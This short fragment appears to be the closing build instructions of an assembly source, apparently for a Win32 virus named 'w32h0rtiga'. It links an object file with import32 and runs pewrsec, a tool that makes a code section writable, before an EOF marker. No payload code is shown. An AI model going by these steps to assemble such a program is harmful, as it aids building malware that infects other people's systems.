-c -x w32h0rtiga.obj ,,, import32 ; pewrsec.com w32h0rtiga.exe ; ; ; --] EOF